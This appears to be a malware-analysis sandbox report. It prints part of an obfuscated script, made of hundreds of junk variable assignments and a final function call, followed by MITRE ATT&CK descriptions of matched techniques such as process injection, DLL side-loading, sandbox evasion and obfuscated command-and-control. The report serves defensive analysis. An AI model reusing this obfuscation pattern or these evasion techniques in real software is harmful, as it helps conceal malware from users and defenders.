391	pnvbi = "r";
392	pnvbi = "w";
393	pnvbi = "S";
394	pnvbi = "Y";
395	pnvbi = "T";
396	pnvbi = "T";
397	pnvbi = "B";
398	pnvbi = "f";
399	pnvbi = "Q";
400	pnvbi = "a";
401	pnvbi = "D";
402	pnvbi = "L";
403	pnvbi = "f";
404	pnvbi = "w";
405	dhcqtg = "e";
406	dhcqtg = "A";
407	dhcqtg = "v";
408	dhcqtg = "E";
409	dhcqtg = "q";
410	dhcqtg = "M";
411	dhcqtg = "v";
412	dhcqtg = "L";
413	dhcqtg = "T";
414	dhcqtg = "i";
415	dhcqtg = "X";
416	dhcqtg = "d";
417	dhcqtg = "U";
418	dhcqtg = "v";
419	dhcqtg = "s";
420	dhcqtg = "Q";
421	dhcqtg = "X";
422	dhcqtg = "f";
423	dhcqtg = "l";
424	dhcqtg = "B";
425	dhcqtg = "Q";
426	dhcqtg = "d";
427	dhcqtg = "d";
428	dhcqtg = "L";
429	dhcqtg = "P";
430	dhcqtg = "1";
431	heanbpxeu = "o";
432	heanbpxeu = "h";
433	heanbpxeu = "H";
434	heanbpxeu = "v";
435	heanbpxeu = "O";
436	heanbpxeu = "Q";
437	heanbpxeu = "Q";
438	heanbpxeu = "W";
439	heanbpxeu = "g";
440	heanbpxeu = "T";
441	heanbpxeu = "G";
442	heanbpxeu = "A";
443	heanbpxeu = "d";
444	heanbpxeu = "a";
445	heanbpxeu = "U";
446	heanbpxeu = "F";
447	heanbpxeu = "U";
448	heanbpxeu = "N";
449	heanbpxeu = "X";
450	heanbpxeu = "O";
451	heanbpxeu = "o";
452	heanbpxeu = "3";
453	kakktk = "X";
454	kakktk = "o";
455	kakktk = "B";
456	kakktk = "E";
457	kakktk = "Q";
458	kakktk = "R";
459	kakktk = "a";
460	kakktk = "V";
461	kakktk = "E";
462	kakktk = "M";
463	kakktk = "o";
464	kakktk = "e";
465	kakktk = "o";
466	kakktk = "l";
467	kakktk = "F";
468	kakktk = "N";
469	kakktk = "Y";
470	kakktk = "w";
471	kakktk = "E";
472	kakktk = "Y";
473	kakktk = "C";
474	kakktk = "G";
475	kakktk = "W";
476	kakktk = "g";
477	kakktk = "d";
478	kakktk = "K";
479	kakktk = "V";
480	kakktk = "S";
481	kakktk = "q";
482	kakktk = "P";
483	kakktk = "j";
484	kakktk = "m";
485	kakktk = "d";
486	kakktk = "s";
487	kakktk = "C";
488	kakktk = "M";
489	kakktk = "B";
490	kakktk = "N";
491	kakktk = "j";
492	kakktk = "A";
493	kakktk = "X";
494	kakktk = "0";
495	unzisnswp = "R";
496	unzisnswp = "i";
497	unzisnswp = "l";
498	unzisnswp = "S";
499	unzisnswp = "z";
500	unzisnswp = "g";
501	unzisnswp = "C";
502	unzisnswp = "m";
503	unzisnswp = "X";
504	unzisnswp = "B";
505	unzisnswp = "O";
506	unzisnswp = "m";
507	unzisnswp = "d";
508	unzisnswp = "I";
509	unzisnswp = "D";
510	unzisnswp = "X";
511	unzisnswp = "U";
512	unzisnswp = "k";
513	unzisnswp = "e";
514	unzisnswp = "A";
515	unzisnswp = "N";
516	unzisnswp = "F";
517	unzisnswp = "O";
518	unzisnswp = "t";
519	unzisnswp = "e";
520	pzdvutp = "o";
521	pzdvutp = "H";
522	pzdvutp = "h";
523	pzdvutp = "C";
524	pzdvutp = "r";
525	pzdvutp = "U";
526	pzdvutp = "U";
527	pzdvutp = "G";
528	pzdvutp = "t";
529	pzdvutp = "g";
530	pzdvutp = "I";
531	pzdvutp = "s";
532	pzdvutp = "k";
533	pzdvutp = "g";
534	pzdvutp = "r";
535	pzdvutp = "W";
536	pzdvutp = "S";
537	pzdvutp = "K";
538	pzdvutp = "V";
539	pzdvutp = "L";
540	pzdvutp = "w";
541	pzdvutp = "L";
542	cwxlicrx = "F";
543	cwxlicrx = "z";
544	cwxlicrx = "J";
545	cwxlicrx = "v";
546	cwxlicrx = "P";
547	cwxlicrx = "y";
548	cwxlicrx = "A";
549	cwxlicrx = "i";
550	cwxlicrx = "t";
551	cwxlicrx = "o";
552	cwxlicrx = "u";
553	cwxlicrx = "Y";
554	cwxlicrx = "h";
555	cwxlicrx = "W";
556	cwxlicrx = "J";
557	cwxlicrx = "c";
558	cwxlicrx = "q";
559	cwxlicrx = "e";
560	cwxlicrx = "P";
561	cwxlicrx = "P";
562	cwxlicrx = "u";
563	cwxlicrx = "s";
564	cwxlicrx = "G";
565	cwxlicrx = "H";
566	cwxlicrx = "P";
567	jidlvgwe = "N";
568	jidlvgwe = "N";
569	jidlvgwe = "b";
570	jidlvgwe = "q";
571	jidlvgwe = "T";
572	jidlvgwe = "O";
573	jidlvgwe = "N";
574	jidlvgwe = "I";
575	oxeni = "i";
576	oxeni = "s";
577	oxeni = "k";
578	oxeni = "k";
579	oxeni = "E";
580	oxeni = "B";
581	oxeni = "R";
582	oxeni = "c";
583	oxeni = "P";
584	oxeni = "S";
585	oxeni = "T";
586	oxeni = "i";
587	oxeni = "q";
588	oxeni = "f";
589	oxeni = "F";
590	oxeni = "V";
591	oxeni = "c";
592	oxeni = "U";
593	oxeni = "f";
594	oxeni = "t";
595	oxeni = "y";
596	oxeni = "h";
597	oxeni = "v";
598	oxeni = "P";
599	oxeni = "U";
600	oxeni = "s";
601	oxeni = "C";
602	oxeni = "U";
603	oxeni = "O";
604	oxeni = "o";
605	oxeni = "g";
606	oxeni = "e";
607	oxeni = "z";
608	oxeni = "h";
609	oxeni = "O";
610	oxeni = "k";
611	oxeni = "P";
612	oxeni = "q";
613	oxeni = "H";
614	oxeni = "j";
615	oxeni = "y";
616	oxeni = "R";
617	oxeni = "O";
618	oaqsz = "t";
619	oaqsz = "O";
620	oaqsz = "v";
621	oaqsz = "Q";
622	oaqsz = "X";
623	oaqsz = "L";
624	oaqsz = "d";
625	oaqsz = "q";
626	rtzvmhng = "H";
627	rtzvmhng = "a";
628	rtzvmhng = "k";
629	rtzvmhng = "U";
630	rtzvmhng = "L";
631	rtzvmhng = "r";
632	rtzvmhng = "g";
633	rtzvmhng = "k";
634	rtzvmhng = "I";
635	rtzvmhng = "a";
636	rtzvmhng = "t";
637	rtzvmhng = "f";
638	rtzvmhng = "F";
639	rtzvmhng = "e";
640	rtzvmhng = "k";
641	rtzvmhng = "E";
642	rtzvmhng = "p";
643	rtzvmhng = "r";
644	rtzvmhng = "T";
645	reasmzu = "N";
646	reasmzu = "x";
647	reasmzu = "v";
648	reasmzu = "g";
649	reasmzu = "s";
650	reasmzu = "I";
651	reasmzu = "Q";
652	reasmzu = "F";
653	reasmzu = "t";
654	reasmzu = "F";
655	reasmzu = "k";
656	reasmzu = "F";
657	reasmzu = "Q";
658	reasmzu = "W";
659	reasmzu = "t";
660	mudnp = "L";
661	mudnp = "s";
662	mudnp = "u";
663	zfxqzn = "z";
664	zfxqzn = "v";
665	dqlvwm = "n";
666	dqlvwm = "Y";
667	dqlvwm = "o";
668	dqlvwm = "G";
669	dqlvwm = "x";
670	dqlvwm = "F";
671	dqlvwm = "b";
672	dqlvwm = "J";
673	dqlvwm = "Y";
674	dqlvwm = "g";
675	dqlvwm = "z";
676	dqlvwm = "F";
677	dqlvwm = "r";
678	dqlvwm = "X";
679	dqlvwm = "a";
680	dqlvwm = "y";
681	dqlvwm = "j";
682	dqlvwm = "P";
683	dqlvwm = "j";
684	dqlvwm = "h";
685	dqlvwm = "b";
686	bykglrc = "S";
687	bykglrc = "t";
688	bykglrc = "p";
689	bykglrc = "G";
690	bykglrc = "X";
691	bykglrc = "o";
692	bykglrc = "X";
693	bykglrc = "K";
694	bykglrc = "G";
695	bykglrc = "f";
696	bykglrc = "t";
697	bykglrc = "v";
698	bykglrc = "a";
699	bykglrc = "N";
700	nufnrx = "G";
701	nufnrx = "V";
702	nufnrx = "Q";
703	nufnrx = "F";
704	sdcozx = "v";
705	sdcozx = "L";
706	sdcozx = "K";
707	nshkghs = "l";
708	nshkghs = "a";
709	nshkghs = "T";
710	nshkghs = "N";
711	nshkghs = "v";
712	nshkghs = "E";
713	nshkghs = "Q";
714	nshkghs = "g";
715	nshkghs = "S";
716	nshkghs = "H";
717	nshkghs = "N";
718	nshkghs = "W";
719	nshkghs = "f";
720	nshkghs = "o";
721	nshkghs = "b";
722	nshkghs = "m";
723	nshkghs = "x";
724	nshkghs = "z";
725	nshkghs = "G";
726	nshkghs = "p";
727	nshkghs = "i";
728	nshkghs = "K";
729	nshkghs = "J";
730	nshkghs = "F";
731	nshkghs = "L";
732	nshkghs = "o";
733	nshkghs = "&";
734	zpydaf = "b";
735	zpydaf = "v";
736	zpydaf = "U";
737	zpydaf = "S";
738	zpydaf = "I";
739	zpydaf = "z";
740	zpydaf = "F";
741	zpydaf = "Q";
742	zpydaf = "p";
743	zpydaf = "m";
744	zpydaf = "k";
745	zpydaf = "J";
746	zpydaf = "e";
747	zpydaf = "C";
748	zpydaf = "b";
749	zpydaf = "V";
750	zpydaf = "O";
751	zpydaf = "P";
752	zpydaf = "Y";
753	zpydaf = "k";
754	zpydaf = "o";
755	zpydaf = "E";
756	zpydaf = "W";
757	zpydaf = "h";
758	zpydaf = "s";
759	zpydaf = "Z";
760	zpydaf = "w";
761	zpydaf = "F";
762	zpydaf = "a";
763	zpydaf = "F";
764	zpydaf = "Z";
765	zpydaf = "A";
766	zpydaf = "j";
767	oojqy = "X";
768	oojqy = "S";
769	oojqy = "A";
770	oojqy = "B";
771	oojqy = "P";
772	oojqy = "E";
773	oojqy = "o";
774	oojqy = "g";
775	oojqy = "Z";
776	oojqy = "p";
777	oojqy = "a";
778	oojqy = "X";
779	oojqy = "s";
780	oojqy = "T";
781	oojqy = "K";
782	oojqy = "z";
783	oojqy = "s";
784	oojqy = "C";
785	oojqy = "j";
786	oojqy = "W";
787	oojqy = "J";
788	oojqy = "Z";
789	oojqy = "g";
790	oojqy = "o";
791	oojqy = "e";
792	oojqy = "t";
793	oojqy = "N";
794	oojqy = "m";
795	njefu = "w";
796	njefu = "z";
797	njefu = "x";
798	njefu = "m";
799	njefu = "R";
800	njefu = "S";
801	njefu = "Y";
802	njefu = "M";
803	njefu = "t";
804	njefu = "Y";
805	njefu = "N";
806	njefu = "\\";
807	mqjxfduj = "T";
808	mqjxfduj = "i";
809	mqjxfduj = "N";
810	mqjxfduj = "T";
811	mqjxfduj = "S";
812	mqjxfduj = "h";
813	mqjxfduj = "s";
814	mqjxfduj = "X";
815	mqjxfduj = "w";
816	mqjxfduj = "C";
817	mqjxfduj = "f";
818	mqjxfduj = "S";
819	mqjxfduj = "W";
820	mqjxfduj = "C";
821	mqjxfduj = "o";
822	mqjxfduj = "F";
823	mqjxfduj = "U";
824	mqjxfduj = "l";
825	mqjxfduj = "H";
826	mqjxfduj = "m";
827	mqjxfduj = "r";
828	mqjxfduj = "@";
829	duvcklt = "k";
830	duvcklt = "\"";
831	zcazqru = "H";
832	zcazqru = "v";
833	zcazqru = "X";
834	zcazqru = "k";
835	zcazqru = "Q";
836	zcazqru = "b";
837	zcazqru = "4";
838	zqvpmk = "A";
839	zqvpmk = "G";
840	zqvpmk = "e";
841	zqvpmk = "a";
842	zqvpmk = "b";
843	zqvpmk = "z";
844	zqvpmk = "t";
845	zqvpmk = "v";
846	zqvpmk = "r";
847	zqvpmk = "v";
848	zqvpmk = "e";
849	zqvpmk = "h";
850	zqvpmk = "g";
851	zqvpmk = "Z";
852	zqvpmk = "G";
853	zqvpmk = "d";
854	zqvpmk = "g";
855	kkzmel = "K";
856	kkzmel = "y";
857	kkzmel = "i";
858	kkzmel = "Q";
859	kkzmel = "Y";
860	kkzmel = "e";
861	kkzmel = "u";
862	kkzmel = "_";
863	bqylcd = "E";
864	bqylcd = "p";
865	bqylcd = "Y";
866	bqylcd = "N";
867	bqylcd = "x";
868	bqylcd = "e";
869	bqylcd = "R";
870	bqylcd = "J";
871	bqylcd = "H";
872	bqylcd = "t";
873	bqylcd = "O";
874	bqylcd = "I";
875	bqylcd = "Z";
876	bqylcd = "Y";
877	bqylcd = "n";
878	bqylcd = "f";
879	bqylcd = "X";
880	bqylcd = "I";
881	bqylcd = "p";
882	bqylcd = "L";
883	bqylcd = "Y";
884	bqylcd = "D";
885	bqylcd = "t";
886	bqylcd = "r";
887	bqylcd = "u";
888	bqylcd = "R";
889	bqylcd = "j";
890	bqylcd = "C";
891	bqylcd = "a";
892	bqylcd = "k";
893	bqylcd = "M";
894	bqylcd = "y";
895	bqylcd = "O";
896	bqylcd = "v";
897	bqylcd = "e";
898	bqylcd = "5";
899	ahjetzhc = "w";
900	ahjetzhc = "A";
901	ahjetzhc = "n";
902	ahjetzhc = "h";
903	ahjetzhc = "y";
904	ahjetzhc = "b";
905	ahjetzhc = "F";
906	ahjetzhc = "N";
907	ahjetzhc = "G";
908	ahjetzhc = "e";
909	ahjetzhc = "m";
910	ahjetzhc = "M";
911	ahjetzhc = "Y";
912	ahjetzhc = "h";
913	ahjetzhc = "W";
914	ahjetzhc = "d";
915	ahjetzhc = "W";
916	ahjetzhc = "y";
917	ahjetzhc = "s";
918	ahjetzhc = "v";
919	ahjetzhc = "I";
920	ahjetzhc = "m";
921	ahjetzhc = "E";
922	ahjetzhc = "r";
923	ahjetzhc = "c";
924	ahjetzhc = "H";
925	ahjetzhc = "G";
926	ahjetzhc = "Y";
927	ahjetzhc = "T";
928	ahjetzhc = "Z";
929	ahjetzhc = "g";
930	ahjetzhc = "I";
931	ahjetzhc = "Y";
932	ahjetzhc = "O";
933	ahjetzhc = "m";
934	ahjetzhc = "k";
935	ahjetzhc = "P";
936	ahjetzhc = "O";
937	ahjetzhc = "J";
938	ahjetzhc = "U";
939	ahjetzhc = "s";
940	ahjetzhc = "h";
941	ahjetzhc = "L";
942	ahjetzhc = "L";
943	ahjetzhc = "Q";
944	hqsyqx = "Z";
945	hqsyqx = "D";
946	hqsyqx = "i";
947	hqsyqx = "N";
948	hqsyqx = "O";
949	hqsyqx = "N";
950	hqsyqx = "o";
951	hqsyqx = "a";
952	hqsyqx = "H";
953	hqsyqx = "N";
954	hqsyqx = "T";
955	hqsyqx = "z";
956	hqsyqx = "k";
957	hqsyqx = "G";
958	hqsyqx = "O";
959	hqsyqx = "I";
960	hqsyqx = "x";
961	hqsyqx = "X";
962	hqsyqx = "x";
963	hqsyqx = "d";
964	hqsyqx = "O";
965	hqsyqx = "k";
966	hqsyqx = "m";
967	hqsyqx = "i";
968	hqsyqx = "i";
969	hqsyqx = "v";
970	hqsyqx = "f";
971	yxojeqt = "Z";
972	yxojeqt = "Y";
973	yxojeqt = "f";
974	yxojeqt = "h";
975	yxojeqt = "L";
976	yxojeqt = "z";
977	yxojeqt = "W";
978	yxojeqt = "o";
979	yxojeqt = "a";
980	yxojeqt = "d";
981	yxojeqt = "R";
982	yxojeqt = "t";
983	yxojeqt = "u";
984	yxojeqt = "A";
985	yxojeqt = "E";
986	yxojeqt = "J";
987	yxojeqt = "-";
988	ummmshsrt = "P";
989	ummmshsrt = "x";
990	ummmshsrt = "K";
991	ummmshsrt = "n";
992	ummmshsrt = "j";
993	ummmshsrt = "A";
994	ummmshsrt = "P";
995	ummmshsrt = "l";
996	ummmshsrt = "F";
997	ummmshsrt = "K";
998	ummmshsrt = "B";
999	ummmshsrt = "O";
1000	ummmshsrt = "I";
1001	ummmshsrt = "K";
1002	ummmshsrt = "O";
1003	ummmshsrt = "j";
1004	ummmshsrt = "Y";
1005	ummmshsrt = "U";
1006	ummmshsrt = "y";
1007	ummmshsrt = "Q";
1008	ummmshsrt = "p";
1009	ummmshsrt = "V";
1010	ummmshsrt = "b";
1011	ummmshsrt = "X";
1012	ummmshsrt = "U";
1013	ummmshsrt = "J";
1014	ummmshsrt = "h";
1015	ummmshsrt = "h";
1016	ummmshsrt = "y";
1017	ummmshsrt = "o";
1018	ummmshsrt = "U";
1019	ummmshsrt = "k";
1020	ummmshsrt = "O";
1021	ummmshsrt = "z";
1022	ummmshsrt = "A";
1023	ummmshsrt = "D";
1024	ummmshsrt = "v";
1025	ummmshsrt = "U";
1026	ummmshsrt = "b";
1027	ummmshsrt = "V";
1028	ummmshsrt = "q";
1029	ummmshsrt = "J";
1030	ummmshsrt = "s";
1031	ummmshsrt = ":";
1032	xrdyytakg = "D";
1033	xrdyytakg = "J";
1034	xrdyytakg = "Z";
1035	xrdyytakg = "Q";
1036	xrdyytakg = "s";
1037	xrdyytakg = "x";
1038	xrdyytakg = "B";
1039	xrdyytakg = "Z";
1040	xrdyytakg = "f";
1041	xrdyytakg = "c";
1042	xrdyytakg = "g";
1043	xrdyytakg = "x";
1044	xrdyytakg = "n";
1045	lvhoixnw = "A";
1046	lvhoixnw = "C";
1047	lvhoixnw = "t";
1048	lvhoixnw = "c";
1049	lvhoixnw = "u";
1050	lvhoixnw = "T";
1051	lvhoixnw = "l";
1052	lvhoixnw = "u";
1053	lvhoixnw = "S";
1054	lvhoixnw = "G";
1055	lvhoixnw = "V";
1056	lvhoixnw = "w";
1057	lvhoixnw = "d";
1058	lvhoixnw = "L";
1059	lvhoixnw = "d";
1060	lvhoixnw = "G";
1061	lvhoixnw = "e";
1062	lvhoixnw = "y";
1063	lvhoixnw = "q";
1064	lvhoixnw = "f";
1065	lvhoixnw = "V";
1066	lvhoixnw = "u";
1067	lvhoixnw = "Q";
1068	lvhoixnw = "n";
1069	lvhoixnw = "K";
1070	lvhoixnw = "g";
1071	lvhoixnw = "I";
1072	lvhoixnw = "C";
1073	lvhoixnw = "i";
1074	lvhoixnw = "P";
1075	lvhoixnw = "H";
1076	lvhoixnw = "V";
1077	lvhoixnw = "z";
1078	lvhoixnw = "V";
1079	lvhoixnw = "R";
1080	lvhoixnw = "l";
1081	lvhoixnw = "q";
1082	lvhoixnw = "x";
1083	lvhoixnw = "b";
1084	lvhoixnw = "B";
1085	lvhoixnw = "M";
1086	lvhoixnw = "z";
1087	lvhoixnw = "O";
1088	lvhoixnw = "x";
1089	lvhoixnw = "H";
1090	mnzmrnas = "Z";
1091	mnzmrnas = "x";
1092	mnzmrnas = "D";
1093	mnzmrnas = "W";
1094	mnzmrnas = "k";
1095	mnzmrnas = "v";
1096	mnzmrnas = "F";
1097	mnzmrnas = "o";
1098	mnzmrnas = "u";
1099	mnzmrnas = "P";
1100	mnzmrnas = "s";
1101	mnzmrnas = "H";
1102	mnzmrnas = " ";
1103	qjospwwgv = "n";
1104	qjospwwgv = "R";
1105	qjospwwgv = "T";
1106	qjospwwgv = "v";
1107	qjospwwgv = "p";
1108	qjospwwgv = "F";
1109	qjospwwgv = "m";
1110	qjospwwgv = "x";
1111	qjospwwgv = "D";
1112	qjospwwgv = "Q";
1113	qjospwwgv = "a";
1114	qjospwwgv = "L";
1115	qjospwwgv = "s";
1116	qjospwwgv = "C";
1117	qjospwwgv = "N";
1118	qjospwwgv = "P";
1119	qjospwwgv = "Q";
1120	qjospwwgv = "w";
1121	qjospwwgv = "z";
1122	qjospwwgv = "R";
1123	qjospwwgv = "u";
1124	qjospwwgv = "F";
1125	qjospwwgv = "u";
1126	qjospwwgv = "M";
1127	qjospwwgv = "k";
1128	fzkvgvu = "G";
1129	fzkvgvu = "L";
1130	fzkvgvu = "2";
1131	aqgsu = "i";
1132	aqgsu = "f";
1133	aqgsu = "g";
1134	aqgsu = "S";
1135	aqgsu = "s";
1136	aqgsu = "X";
1137	aqgsu = "w";
1138	aqgsu = "k";
1139	aqgsu = "X";
1140	aqgsu = "B";
1141	aqgsu = "a";
1142	aqgsu = "D";
1143	aqgsu = "z";
1144	aqgsu = "F";
1145	aqgsu = "H";
1146	aqgsu = "k";
1147	aqgsu = "r";
1148	aqgsu = "B";
1149	aqgsu = "i";
1150	aqgsu = "G";
1151	aqgsu = "c";
1152	aqgsu = "8";
1153	btpendn = "t";
1154	btpendn = "B";
1155	btpendn = "o";
1156	btpendn = "t";
1157	btpendn = "I";
1158	btpendn = "t";
1159	btpendn = "h";
1160	btpendn = "l";
1161	btpendn = "P";
1162	btpendn = "U";
1163	btpendn = "v";
1164	btpendn = "E";
1165	btpendn = "m";
1166	btpendn = "A";
1167	btpendn = "r";
1168	btpendn = "J";
1169	btpendn = "U";
1170	srcvwgktd = "f";
1171	srcvwgktd = "e";
1172	srcvwgktd = "o";
1173	srcvwgktd = "d";
1174	srcvwgktd = "m";
1175	srcvwgktd = "i";
1176	srcvwgktd = "D";
1177	srcvwgktd = "z";
1178	srcvwgktd = "X";
1179	srcvwgktd = "t";
1180	srcvwgktd = "I";
1181	srcvwgktd = "E";
1182	srcvwgktd = "x";
1183	srcvwgktd = "e";
1184	srcvwgktd = "m";
1185	srcvwgktd = "h";
1186	srcvwgktd = "n";
1187	srcvwgktd = "R";
1188	srcvwgktd = "V";
1189	srcvwgktd = "k";
1190	srcvwgktd = "J";
1191	srcvwgktd = "g";
1192	srcvwgktd = "W";
1193	srcvwgktd = "q";
1194	srcvwgktd = "i";
1195	srcvwgktd = "y";
1196	srcvwgktd = "b";
1197	srcvwgktd = "B";
1198	srcvwgktd = "o";
1199	srcvwgktd = "E";
1200	srcvwgktd = "c";
1201	srcvwgktd = "h";
1202	srcvwgktd = "A";
1203	srcvwgktd = "V";
1204	srcvwgktd = "L";
1205	srcvwgktd = "e";
1206	srcvwgktd = "J";
1207	srcvwgktd = "Y";
1208	srcvwgktd = "C";
1209	pymho = "L";
1210	pymho = "W";
1211	pymho = "Z";
1212	pymho = "t";
1213	pymho = "R";
1214	pymho = "l";
1215	pymho = "w";
1216	pymho = "t";
1217	pymho = "v";
1218	pymho = "n";
1219	pymho = "r";
1220	pymho = "q";
1221	pymho = "K";
1222	pymho = "B";
1223	pymho = "J";
1224	pymho = "A";
1225	pymho = "I";
1226	pymho = "o";
1227	ijkofu = "e";
1228	ijkofu = "E";
1229	ijkofu = "C";
1230	ijkofu = "G";
1231	ijkofu = "C";
1232	ijkofu = "L";
1233	ijkofu = "V";
1234	ijkofu = "q";
1235	ijkofu = "e";
1236	ijkofu = "w";
1237	ijkofu = "k";
1238	ijkofu = "r";
1239	ijkofu = "O";
1240	ijkofu = "R";
1241	qthyq = "L";
1242	qthyq = "R";
1243	qthyq = "G";
1244	qthyq = "B";
1245	qthyq = "k";
1246	qthyq = "P";
1247	qthyq = "Y";
1248	qthyq = "r";
1249	jeekzx ( );	jeekzx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

